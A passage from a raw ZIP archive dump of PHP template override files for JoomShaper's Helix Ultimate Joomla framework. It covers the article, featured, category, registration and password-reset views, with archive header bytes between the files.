$article_format = (isset($attribs->helix_ultimate_article_format) && $attribs->helix_ultimate_article_format) ? $attribs->helix_ultimate_article_format : 'standard';

// Check if associations are implemented. If they are, define the parameter.
$assocParam = (Associations::isEnabled() && $params->get('show_associations'));
$isExpired  = JVERSION < 4
	? (strtotime($this->item->publish_down) < strtotime(Factory::getDate())) && $this->item->publish_down != Factory::getDbo()->getNullDate()
	: !is_null($this->item->publish_down) && $this->item->publish_down < $currentDate;
?>
<div class="article-details <?php echo $this->pageclass_sfx; ?>" itemscope itemtype="https://schema.org/Article">
	<meta itemprop="inLanguage" content="<?php echo ($this->item->language === '*') ? Factory::getConfig()->get('language') : $this->item->language; ?>">
	<?php if ($this->params->get('show_page_heading')) : ?>
		<div class="page-header">
			<h1><?php echo $this->escape($this->params->get('page_heading')); ?></h1>
		</div>
		<?php $page_header_tag = 'h2'; ?>
	<?php endif; ?>

	<?php if (!empty($this->item->pagination) && $this->item->pagination && !$this->item->paginationposition && $this->item->paginationrelative)
	{
		echo $this->item->pagination;
	}
	?>

	<?php if($article_format == 'gallery') : ?>
		<?php echo LayoutHelper::render('joomla.content.blog.gallery', array('attribs' => $attribs, 'id'=>$this->item->id)); ?>
	<?php elseif($article_format == 'video') : ?>
		<?php echo LayoutHelper::render('joomla.content.blog.video', array('attribs' => $attribs)); ?>
	<?php elseif($article_format == 'audio') : ?>
		<?php echo LayoutHelper::render('joomla.content.blog.audio', array('attribs' => $attribs)); ?>
	<?php else: ?>
		<?php echo LayoutHelper::render('joomla.content.full_image', $this->item); ?>
	<?php endif; ?>

	<?php // Todo Not that elegant would be nice to group the params ?>
	<?php $useDefList = ($params->get('show_modify_date') || $params->get('show_publish_date') || $params->get('show_create_date')
	|| $params->get('show_hits') || $params->get('show_category') || $params->get('show_parent_category') || $params->get('show_author') || $assocParam); ?>

	<?php if ($params->get('show_title') || $params->get('show_author')) : ?>
	<div class="article-header">
		<?php if ($params->get('show_title')) : ?>
			<<?php echo $page_header_tag; ?> itemprop="headline">
				<?php echo $this->escape($this->item->title); ?>
			</<?php echo $page_header_tag; ?>>
		<?php endif; ?>
		<?php if ($this->item->state == 0) : ?>
			<span class="badge bg-warning text-dark"><?php echo Text::_('JUNPUBLISHED'); ?></span>
		<?php endif; ?>
		<?php if (strtotime($this->item->publish_up) > strtotime(Factory::getDate())) : ?>
			<span class="badge bg-warning text-dark"><?php echo Text::_('JNOTPUBLISHEDYET'); ?></span>
		<?php endif; ?>
		<?php if ($isExpired) : ?>
			<span class="badge bg-warning text-dark"><?php echo Text::_('JEXPIRED'); ?></span>
		<?php endif; ?>
	</div>
	<?php endif; ?>
	<div class="article-can-edit d-flex flex-wrap justify-content-between">
	<?php // Content is generated by content plugin event "onContentAfterTitle" ?>
	<?php echo $this->item->event->afterDisplayTitle; ?>
	<?php if($canEdit && !$this->print) : ?>
		<?php echo HTMLHelper::_('icon.edit', $this->item, $params); ?>
	<?php endif; ?>
	</div>
	<?php if (JVERSION >= 4) :?>
	<?php if ($useDefList && ($info == 0 || $info == 2)) : ?>
		<?php echo LayoutHelper::render('joomla.content.info_block', array('item' => $this->item, 'params' => $params, 'position' => 'above')); ?>
	<?php endif; ?>
	<?php else : ?>
	<?php if ($useDefList && ($info == 0 || $info == 2)) : ?>
		<?php echo LayoutHelper::render('joomla.content.info_block.block', array('item' => $this->item, 'params' => $params, 'position' => 'above')); ?>
	<?php endif; ?>
	<?php endif; ?>

	<?php // Content is generated by content plugin event "onContentBeforeDisplay" ?>
	<?php echo $this->item->event->beforeDisplayContent; ?>

	<?php if (isset($urls) && ((!empty($urls->urls_position) && ($urls->urls_position == '0')) || ($params->get('urls_position') == '0' && empty($urls->urls_position)))
		|| (empty($urls->urls_position) && (!$params->get('urls_position')))) : ?>
	<?php echo $this->loadTemplate('links'); ?>
	<?php endif; ?>

	<?php if ($params->get('access-view')) : ?>
	
	<?php
	if (!empty($this->item->pagination) && $this->item->pagination && !$this->item->paginationposition && !$this->item->paginationrelative) :
		echo $this->item->pagination;
	endif;
	?>
	<?php if (isset ($this->item->toc)) :
		echo $this->item->toc;
	endif; ?>

	<?php if( ($tmpl_params->get('social_share') || $params->get('show_vote')) && !$this->print) : ?>
		<div class="article-ratings-social-share d-flex justify-content-end">
			<div class="me-auto align-self-center">
				<?php if($params->get('show_vote')): ?>
					<?php HTMLHelper::_('jquery.token'); ?>
					<?php echo LayoutHelper::render('joomla.content.rating', array('item' => $this->item, 'params' => $params)) ?>
				<?php endif; ?>
			</div>
			<div>
				<?php echo LayoutHelper::render('joomla.content.social_share', $this->item); ?>
			</div>
		</div>
	<?php endif; ?>

	<div itemprop="articleBody">
		<?php echo $this->item->text; ?>
	</div>

	<?php if ($info == 1 || $info == 2) : ?>
		<?php if ($useDefList) : ?>
			<?php echo LayoutHelper::render('joomla.content.info_block', array('item' => $this->item, 'params' => $params, 'position' => 'below')); ?>
		<?php endif; ?>
	<?php endif; ?>

	<?php if ($info == 0 && $params->get('show_tags', 1) && !empty($this->item->tags->itemTags)) : ?>
		<?php $this->item->tagLayout = new FileLayout('joomla.content.tags'); ?>
		<?php echo $this->item->tagLayout->render($this->item->tags->itemTags); ?>
	<?php endif; ?>

	<?php if (isset($urls) && ((!empty($urls->urls_position) && ($urls->urls_position == '1')) || ($params->get('urls_position') == '1'))) : ?>
		<?php echo $this->loadTemplate('links'); ?>
	<?php endif; ?>

	<?php // Optional teaser intro text for guests ?>
	<?php elseif ($params->get('show_noauth') == true && $user->get('guest')) : ?>
	<?php echo LayoutHelper::render('joomla.content.intro_image', $this->item); ?>
	<?php echo HTMLHelper::_('content.prepare', $this->item->introtext); ?>
	<?php // Optional link to let them register to see the whole article. ?>
	<?php if ($params->get('show_readmore') && $this->item->fulltext != null) : ?>
	<?php $menu = Factory::getApplication()->getMenu(); ?>
	<?php $active = $menu->getActive(); ?>
	<?php $itemId = $active->id; ?>
	<?php $link = new Uri(Route::_('index.php?option=com_users&view=login&Itemid=' . $itemId, false)); ?>
	<?php $link->setVar('return', base64_encode(ContentHelperRoute::getArticleRoute($this->item->slug, $this->item->catid, $this->item->language))); ?>
	<p class="readmore">
		<a href="<?php echo $link; ?>" class="register">
		<?php $attribs = json_decode($this->item->attribs); ?>
		<?php
		if ($attribs->alternative_readmore == null) :
			echo Text::_('COM_CONTENT_REGISTER_TO_READ_MORE');
		elseif ($readmore = $attribs->alternative_readmore) :
			echo $readmore;
			if ($params->get('show_readmore_title', 0) != 0) :
				echo HTMLHelper::_('string.truncate', $this->item->title, $params->get('readmore_limit'));
			endif;
		elseif ($params->get('show_readmore_title', 0) == 0) :
			echo Text::sprintf('COM_CONTENT_READ_MORE_TITLE');
		else :
			echo Text::_('COM_CONTENT_READ_MORE');
			echo HTMLHelper::_('string.truncate', $this->item->title, $params->get('readmore_limit'));
		endif; ?>
		</a>
	</p>
	<?php endif; ?>
	<?php endif; ?>
	
	<?php // Content is generated by content plugin event "onContentAfterDisplay" ?>
	<?php echo $this->item->event->afterDisplayContent; ?>

	<?php echo LayoutHelper::render('joomla.content.blog.author_info', $this->item); ?>

	<?php
	if (!empty($this->item->pagination) && $this->item->pagination && $this->item->paginationposition) :
		echo $this->item->pagination;
	?>
	<?php endif; ?>

	<?php if (!$this->print) : ?>
		<?php echo LayoutHelper::render('joomla.content.blog.comments.comments', $this->item); ?>
	<?php endif; ?>
</div>

<?php if($tmpl_params->get('related_article') && count($relatedArticles) > 0 ): ?>
<?php 
	echo LayoutHelper::render('joomla.content.related_articles', ['articles'=>$relatedArticles, 'item'=>$this->item]); 
?>
<?php endif; ?>
PK!NR��#
#
=helixultimate/overrides/com_content/article/default_links.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\HTML\HTMLHelper;

// Create shortcut
$urls = json_decode($this->item->urls);

// Create shortcuts to some parameters.
$params = $this->item->params;
if ($urls && (!empty($urls->urla) || !empty($urls->urlb) || !empty($urls->urlc))) :
?>
<div class="content-links">
	<ul class="nav nav-tabs nav-stacked">
		<?php
			$urlarray = array(
			array($urls->urla, $urls->urlatext, $urls->targeta, 'a'),
			array($urls->urlb, $urls->urlbtext, $urls->targetb, 'b'),
			array($urls->urlc, $urls->urlctext, $urls->targetc, 'c')
			);
			foreach ($urlarray as $url) :
				$link = $url[0];
				$label = $url[1];
				$target = $url[2];
				$id = $url[3];

				if ( ! $link) :
					continue;
				endif;

				// If no label is present, take the link
				$label = $label ?: $link;

				// If no target is present, use the default
				$target = $target ?: $params->get('target' . $id);
				?>
			<li class="content-links-<?php echo $id; ?>">
				<?php
					// Compute the correct link

					switch ($target)
					{
						case 1:
							// Open in a new window
							echo '<a href="' . htmlspecialchars($link, ENT_COMPAT, 'UTF-8') . '" target="_blank" rel="nofollow noopener noreferrer">' .
								htmlspecialchars($label, ENT_COMPAT, 'UTF-8') . '</a>';
							break;

						case 2:
							// Open in a popup window
							$attribs = 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,width=600,height=600';
							echo "<a href=\"" . htmlspecialchars($link, ENT_COMPAT, 'UTF-8') . "\" onclick=\"window.open(this.href, 'targetWindow', '" . $attribs . "'); return false;\" rel=\"noopener noreferrer\">" .
								htmlspecialchars($label, ENT_COMPAT, 'UTF-8') . '</a>';
							break;
						case 3:
							// Open in a modal window
							HTMLHelper::_('behavior.modal', 'a.modal');
							echo '<a class="modal" href="' . htmlspecialchars($link, ENT_COMPAT, 'UTF-8') . '"  rel="{handler: \'iframe\', size: {x:600, y:600}} noopener noreferrer">' .
								htmlspecialchars($label, ENT_COMPAT, 'UTF-8') . ' </a>';
							break;

						default:
							// Open in parent window
							echo '<a href="' . htmlspecialchars($link, ENT_COMPAT, 'UTF-8') . '" rel="nofollow">' .
								htmlspecialchars($label, ENT_COMPAT, 'UTF-8') . ' </a>';
							break;
					}
				?>
				</li>
		<?php endforeach; ?>
	</ul>
</div>
<?php endif; ?>
PK!��)U77=helixultimate/overrides/com_content/featured/default_item.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Associations;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;

// Create a shortcut for params.
$params  = &$this->item->params;
$images  = json_decode($this->item->images);
$canEdit = $this->item->params->get('access-edit');
$info    = $this->item->params->get('info_block_position', 0);
$article_format = (isset($attribs->helix_ultimate_article_format) && $attribs->helix_ultimate_article_format) ? $attribs->helix_ultimate_article_format : 'standard';

// Check if associations are implemented. If they are, define the parameter.
$assocParam = (Associations::isEnabled() && $params->get('show_associations'));

$currentDate   = Factory::getDate()->format('Y-m-d H:i:s');
$isNotPublishedYet = $this->item->publish_up > $currentDate;
$isUnpublished = JVERSION < 4 ? ($this->item->state == 0 || strtotime($this->item->publish_up) > strtotime(JFactory::getDate()) || ((strtotime($this->item->publish_down) < strtotime(JFactory::getDate())) && $this->item->publish_down != JFactory::getDbo()->getNullDate())) : ($this->item->state == Joomla\Component\Content\Administrator\Extension\ContentComponent::CONDITION_UNPUBLISHED || $isNotPublishedYet)
	|| ($this->item->publish_down < $currentDate && $this->item->publish_down !== null);
$isExpired         = JVERSION < 4 ? $this->item->publish_down < $currentDate && $this->item->publish_down !== Factory::getDbo()->getNullDate() : !is_null($this->item->publish_down) && $this->item->publish_down < $currentDate;
?>

<?php if($article_format == 'gallery') : ?>
	<?php echo LayoutHelper::render('joomla.content.blog.gallery', array('attribs' => $attribs, 'id'=>$this->item->id)); ?>
<?php elseif($article_format == 'video') : ?>
	<?php echo LayoutHelper::render('joomla.content.blog.video', array('attribs' => $attribs)); ?>
<?php elseif($article_format == 'audio') : ?>
	<?php echo LayoutHelper::render('joomla.content.blog.audio', array('attribs' => $attribs)); ?>
<?php else: ?>
	<?php echo LayoutHelper::render('joomla.content.intro_image', $this->item); ?>
<?php endif; ?>

<div class="articleBody">
	<?php if ($isUnpublished) : ?>
		<div class="system-unpublished">
	<?php endif; ?>

	<?php echo LayoutHelper::render('joomla.content.blog_style_default_item_title', $this->item); ?>

	<?php if (JVERSION < 4 ? $this->item->state == 0 : $this->item->state == Joomla\Component\Content\Administrator\Extension\ContentComponent::CONDITION_UNPUBLISHED) : ?>
		<span class="badge bg-warning text-light"><?php echo Text::_('JUNPUBLISHED'); ?></span>
	<?php endif; ?>
	<?php if ($isNotPublishedYet) : ?>
		<span class="badge bg-warning text-light"><?php echo Text::_('JNOTPUBLISHEDYET'); ?></span>
	<?php endif; ?>
	<?php if ($isExpired) : ?>
		<span class="badge bg-warning text-light"><?php echo Text::_('JEXPIRED'); ?></span>
	<?php endif; ?>

	<?php // Content is generated by content plugin event "onContentAfterTitle" ?>
	<?php echo $this->item->event->afterDisplayTitle; ?>

	<?php // Todo Not that elegant would be nice to group the params ?>
	<?php $useDefList = ($params->get('show_modify_date') || $params->get('show_publish_date') || $params->get('show_create_date')
		|| $params->get('show_hits') || $params->get('show_category') || $params->get('show_parent_category') || $params->get('show_author') || $assocParam); ?>

	<?php if ($useDefList && ($info == 0 || $info == 2)) : ?>
		<?php if(JVERSION >= 4 ) : ?>
		<?php echo LayoutHelper::render('joomla.content.info_block', array('item' => $this->item, 'params' => $params, 'position' => 'above')); ?>
		<?php else : ?>
		<?php echo LayoutHelper::render('joomla.content.info_block.block', array('item' => $this->item, 'params' => $params, 'position' => 'above')); ?>
		<?php endif; ?>
		<?php if ($info == 0 && $params->get('show_tags', 1) && !empty($this->item->tags->itemTags)) : ?>
			<?php echo LayoutHelper::render('joomla.content.tags', $this->item->tags->itemTags); ?>
		<?php endif; ?>
	<?php endif; ?>

	<?php // Content is generated by content plugin event "onContentBeforeDisplay" ?>
	<?php echo $this->item->event->beforeDisplayContent; ?>

	<?php echo $this->item->introtext; ?>

	<?php if ($useDefList && ($info == 1 || $info == 2)) : ?>
		<?php // Todo: for Joomla4 joomla.content.info_block.block can be changed to joomla.content.info_block ?>
		<?php echo LayoutHelper::render('joomla.content.info_block.block', array('item' => $this->item, 'params' => $params, 'position' => 'below')); ?>
		<?php if ($params->get('show_tags', 1) && !empty($this->item->tags->itemTags)) : ?>
			<?php echo LayoutHelper::render('joomla.content.tags', $this->item->tags->itemTags); ?>
		<?php endif; ?>
	<?php endif; ?>

	<?php if ($params->get('show_readmore') && $this->item->readmore) :
		if ($params->get('access-view')) :
			$link = Route::_(ContentHelperRoute::getArticleRoute($this->item->slug, $this->item->catid, $this->item->language));
		else :
			$menu = Factory::getApplication()->getMenu();
			$active = $menu->getActive();
			$itemId = $active->id;
			$link = new Uri(Route::_('index.php?option=com_users&view=login&Itemid=' . $itemId, false));
			$link->setVar('return', base64_encode(ContentHelperRoute::getArticleRoute($this->item->slug, $this->item->catid, $this->item->language)));
		endif; ?>

		<?php echo LayoutHelper::render('joomla.content.readmore', array('item' => $this->item, 'params' => $params, 'link' => $link)); ?>
	<?php endif; ?>

	<?php if ($isUnpublished) : ?>
		</div>
	<?php endif; ?>
</div>

<?php // Content is generated by content plugin event "onContentAfterDisplay" ?>
<?php echo $this->item->event->afterDisplayContent; ?>
PK!��$�8helixultimate/overrides/com_content/featured/default.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\HTML\HTMLHelper;

HTMLHelper::addIncludePath(JPATH_COMPONENT . '/helpers');

// HTMLHelper::_('behavior.caption');

// If the page class is defined, add to class as suffix.
// It will be a separate class if the user starts it with a space
?>
<div class="container-fluid blog-featured<?php echo $this->pageclass_sfx; ?>" itemscope itemtype="https://schema.org/Blog">
<?php if ($this->params->get('show_page_heading') != 0) : ?>
	<div class="page-header">
		<h1><?php echo $this->escape($this->params->get('page_heading')); ?></h1>
	</div>
<?php endif; ?>

<?php $leadingcount = 0; ?>
<?php if (!empty($this->lead_items)) : ?>
<div class="article-list">
	<div class="items-leading">
		<?php foreach ($this->lead_items as &$item) : ?>
			<div class="leading-<?php echo $leadingcount; ?>">
				<div class="article"
					itemprop="blogPost" itemscope itemtype="https://schema.org/BlogPosting">
					<?php
						$this->item = &$item;
						$this->item->leading = true;
						echo $this->loadTemplate('item');
					?>
				</div>
			</div>
			<?php
				$leadingcount++;
			?>
		<?php endforeach; ?>
	</div>
</div>
<?php endif; ?>

<?php
	$introcount = count($this->intro_items);
	$counter = 0;
	$this->columns = $this->columns ?? 1;
?>
<?php if (!empty($this->intro_items)) : ?>
	<div class="article-list">
		<?php foreach ($this->intro_items as $key => &$item) : ?>
			<?php
			$key = ($key - $leadingcount) + 1;
			$rowcount = (((int) $key - 1) % (int) $this->columns) + 1;
			$row = $counter / $this->columns;

			if ($rowcount === 1) : ?>
			<div class="row items-row cols-<?php echo (int) $this->columns; ?> <?php echo 'row-' . $row; ?> row">
			<?php endif; ?>
			
			<div class="col-lg-<?php echo round(12 / $this->columns); ?> item column-<?php echo $rowcount; ?>">
				<div class="article"
					itemprop="blogPost" itemscope itemtype="https://schema.org/BlogPosting">
					<?php
						$this->item = &$item;
						echo $this->loadTemplate('item');
					?>
				</div>
			</div>
			
			<?php $counter++; ?>
			<?php if (($rowcount == $this->columns) or ($counter == $introcount)) : ?>
				</div>
			<?php endif; ?>
		<?php endforeach; ?>
	</div>
<?php endif; ?>

<?php if (!empty($this->link_items)) : ?>
	<div class="articles-more mb-4">
		<?php echo $this->loadTemplate('links'); ?>
	</div>
<?php endif; ?>

<?php if ($this->params->def('show_pagination', 2) == 1  || ($this->params->get('show_pagination') == 2 && $this->pagination->pagesTotal > 1)) : ?>
	<nav class="pagination-wrapper d-lg-flex justify-content-between w-100">
		<?php echo $this->pagination->getPagesLinks(); ?>
		<?php if ($this->params->def('show_pagination_results', 1)) : ?>
			<div class="pagination-counter text-muted mb-4">
				<?php echo $this->pagination->getPagesCounter(); ?>
			</div>
		<?php endif; ?>
	</nav>
<?php endif; ?>
</div>
PK!.Ol66>helixultimate/overrides/com_content/featured/default_links.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\Router\Route;

?>
<ol class="nav nav-tabs nav-stacked">
<?php foreach ($this->link_items as &$item) : ?>
	<li>
		<a href="<?php echo Route::_(ContentHelperRoute::getArticleRoute($item->slug, $item->catid, $item->language)); ?>">
			<?php echo $item->title; ?></a>
	</li>
<?php endforeach; ?>
</ol>
PK!�6���:helixultimate/overrides/com_content/categories/default.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Layout\LayoutHelper;

HTMLHelper::addIncludePath(JPATH_COMPONENT . '/helpers');
// HTMLHelper::_('behavior.caption');

Factory::getDocument()->addScriptDeclaration("
jQuery(function($) {
	$('.categories-list').find('[id^=category-btn-]').each(function(index, btn) {
		var btn = $(btn);
		btn.on('click', function() {
			btn.find('span').toggleClass('icon-plus');
			btn.find('span').toggleClass('icon-minus');
		});
	});
});");
?>
<div class="categories-list<?php echo $this->pageclass_sfx; ?> list-group">
	<?php
		echo LayoutHelper::render('joomla.content.categories_default', $this);
		echo $this->loadTemplate('items');
	?>
</div>
PK!)1**@helixultimate/overrides/com_content/categories/default_items.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

$lang  = Factory::getLanguage();

if ($this->maxLevelcat != 0 && count($this->items[$this->parent->id]) > 0) :
?>
	<?php foreach ($this->items[$this->parent->id] as $id => $item) : ?>
		<?php if ($this->params->get('show_empty_categories_cat') || $item->numitems || count($item->getChildren())) : ?>
			<div class="list-group-item">
				<div style="padding-<?php echo $lang->isRtl() ? 'right' : 'left' ?>: <?php echo (int) $this->level * 16; ?>px">
					<div class="d-flex justify-content-between align-items-center">
						<h5 class="m-0">
							<a href="<?php echo Route::_(ContentHelperRoute::getCategoryRoute($item->id, $item->language)); ?>">
								<?php echo $this->escape($item->title); ?>
							</a>
						</h5>

						<?php if ($this->params->get('show_cat_num_articles_cat') == 1) :?>
							<span class="badge bg-primary rounded-pill">
								<?php echo Text::_('COM_CONTENT_NUM_ITEMS'); ?>
								<?php echo $item->numitems; ?>
							</span>
						<?php endif; ?>
					</div>

					<?php if ($this->params->get('show_subcat_desc_cat') == 1) : ?>
						<?php if ($item->description) : ?>
							<div class="mt-2">
								<?php echo HTMLHelper::_('content.prepare', $item->description, '', 'com_content.categories'); ?>
							</div>
						<?php endif; ?>
					<?php endif; ?>
				</div>
			</div>
			<?php if (count($item->getChildren()) > 0 && $this->maxLevelcat > 1) : ?>
				<?php
					$this->items[$item->id] = $item->getChildren();
					$this->parent = $item;
					$this->maxLevelcat--;
					$this->level++;
					echo $this->loadTemplate('items');
					$this->parent = $item->getParent();
					$this->maxLevelcat++;
				?>
			<?php endif; ?>
		<?php endif; ?>
	<?php endforeach; ?>
<?php endif; ?>PK!�-����3helixultimate/overrides/plg_content_vote/rating.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();
PK!�-����1helixultimate/overrides/plg_content_vote/vote.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();
PK!)j�
�
:helixultimate/overrides/com_users/registration/default.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

HTMLHelper::_('behavior.keepalive');
HTMLHelper::_('behavior.formvalidator');
?>
<div class="registration<?php echo $this->pageclass_sfx; ?>">
	<div class="row justify-content-center">
		<div class="col-lg-9 col-xl-6">
			<?php if ($this->params->get('show_page_heading')) : ?>
				<div class="page-header">
					<h1><?php echo $this->escape($this->params->get('page_heading')); ?></h1>
				</div>
			<?php endif; ?>

			<form id="member-registration" action="<?php echo Route::_('index.php?option=com_users&task=registration.register'); ?>" method="post" class="form-validate" enctype="multipart/form-data">
				<?php foreach ($this->form->getFieldsets() as $fieldset) : ?>
					<?php $fields = $this->form->getFieldset($fieldset->name); ?>
					<?php if (count($fields)) : ?>
						<fieldset>
							<?php if (isset($fieldset->label)) : ?>
								<legend><?php echo Text::_($fieldset->label); ?></legend>
							<?php endif; ?>
							<div class="row">
								<?php foreach ($fields as $field) : ?>
									<?php if ($field->hidden) : ?>
										<?php echo $field->input; ?>
									<?php else : ?>
										<?php $fieldName = $field->getAttribute('name'); ?>
										<?php if(($fieldName == 'password1') || ($fieldName == 'password2') || ($fieldName == 'email1') || ($fieldName == 'email2')) : ?>
											<div class="col-lg-6">
										<?php else: ?>
											<div class="col-xl-12">
										<?php endif; ?>
										<div class="mb-3">
											<?php echo $field->label; ?>
											<?php if (!$field->required && $field->type !== 'Spacer') : ?>
												<span class="optional"><?php echo Text::_('COM_USERS_OPTIONAL'); ?></span>
											<?php endif; ?>
											<?php echo $field->input; ?>
										</div>
									</div>
								<?php endif; ?>
							<?php endforeach; ?>
						</div>
					</fieldset>
				<?php endif; ?>
			<?php endforeach; ?>
			<div>
				<button type="submit" class="btn btn-primary validate"><?php echo Text::_('JREGISTER'); ?></button>
				<a class="btn btn-secondary" href="<?php echo Route::_(''); ?>" title="<?php echo Text::_('JCANCEL'); ?>"><?php echo Text::_('JCANCEL'); ?></a>
				<input type="hidden" name="option" value="com_users">
				<input type="hidden" name="task" value="registration.register">
			</div>
			<?php echo HTMLHelper::_('form.token'); ?>
			</form>
		</div>
	</div>
</div>
PK!�s2��;helixultimate/overrides/com_users/registration/complete.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();
?>
<div class="registration-complete<?php echo $this->pageclass_sfx; ?>">
	<?php if ($this->params->get('show_page_heading')) : ?>
	<h1>
		<?php echo $this->escape($this->params->get('page_heading')); ?>
	</h1>
	<?php endif; ?>
</div>
PK!E�r���3helixultimate/overrides/com_users/reset/default.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

HTMLHelper::_('behavior.keepalive');
HTMLHelper::_('behavior.formvalidator');
?>
<div class="reset<?php echo $this->pageclass_sfx; ?>">
	<div class="row justify-content-center">
		<div class="col-lg-4">
			<?php if ($this->params->get('show_page_heading')) : ?>
				<div class="page-header">
					<h1>
						<?php echo $this->escape($this->params->get('page_heading')); ?>
					</h1>
				</div>
			<?php endif; ?>

			<form id="user-registration" action="<?php echo Route::_('index.php?option=com_users&task=reset.request'); ?>" method="post" class="form-validate">
				<?php foreach ($this->form->getFieldsets() as $fieldset) : ?>
					<div>
						<p><?php echo Text::_($fieldset->label); ?></p>
						<?php foreach ($this->form->getFieldset($fieldset->name) as $name => $field) : ?>
							<div class="mb-3">
								<?php echo $field->label; ?>
								<?php echo $field->input; ?>
							</div>
						<?php endforeach; ?>
					</div>
				<?php endforeach; ?>

				<div>
					<button type="submit" class="btn btn-primary validate"><?php echo Text::_('JSUBMIT'); ?></button>
				</div>
				<?php echo HTMLHelper::_('form.token'); ?>
			</form>
		</div>
	</div>
</div>
PK!�G�@4helixultimate/overrides/com_users/reset/complete.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

HTMLHelper::_('behavior.keepalive');
HTMLHelper::_('behavior.formvalidator');
?>
<div class="reset-complete<?php echo $this->pageclass_sfx; ?>">
	<?php if ($this->params->get('show_page_heading')) : ?>
		<div class="page-header">
			<h1>
				<?php echo $this->escape($this->params->get('page_heading')); ?>
			</h1>
		</div>
	<?php endif; ?>

	<form action="<?php echo Route::_('index.php?option=com_users&task=reset.complete'); ?>" method="post" class="form-validate form-horizontal well">
		<?php foreach ($this->form->getFieldsets() as $fieldset) : ?>
			<fieldset>
				<p><?php echo Text::_($fieldset->label); ?></p>
				<?php foreach ($this->form->getFieldset($fieldset->name) as $name => $field) : ?>
					<div class="control-group">
						<div class="control-label">
							<?php echo $field->label; ?>
						</div>
						<div class="controls">
							<?php echo $field->input; ?>
						</div>
					</div>
				<?php endforeach; ?>
			</fieldset>
		<?php endforeach; ?>

		<div class="control-group">
			<div class="controls">
				<button type="submit" class="btn btn-primary validate"><?php echo Text::_('JSUBMIT'); ?></button>
			</div>
		</div>
		<?php echo HTMLHelper::_('form.token'); ?>
	</form>
</div>
PK!ƃ�3helixultimate/overrides/com_users/reset/confirm.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

HTMLHelper::_('behavior.keepalive');
HTMLHelper::_('behavior.formvalidator');
?>
<div class="reset-confirm<?php echo $this->pageclass_sfx; ?>">
	<?php if ($this->params->get('show_page_heading')) : ?>
		<div class="page-header">
			<h1>
				<?php echo $this->escape($this->params->get('page_heading')); ?>
			</h1>
		</div>
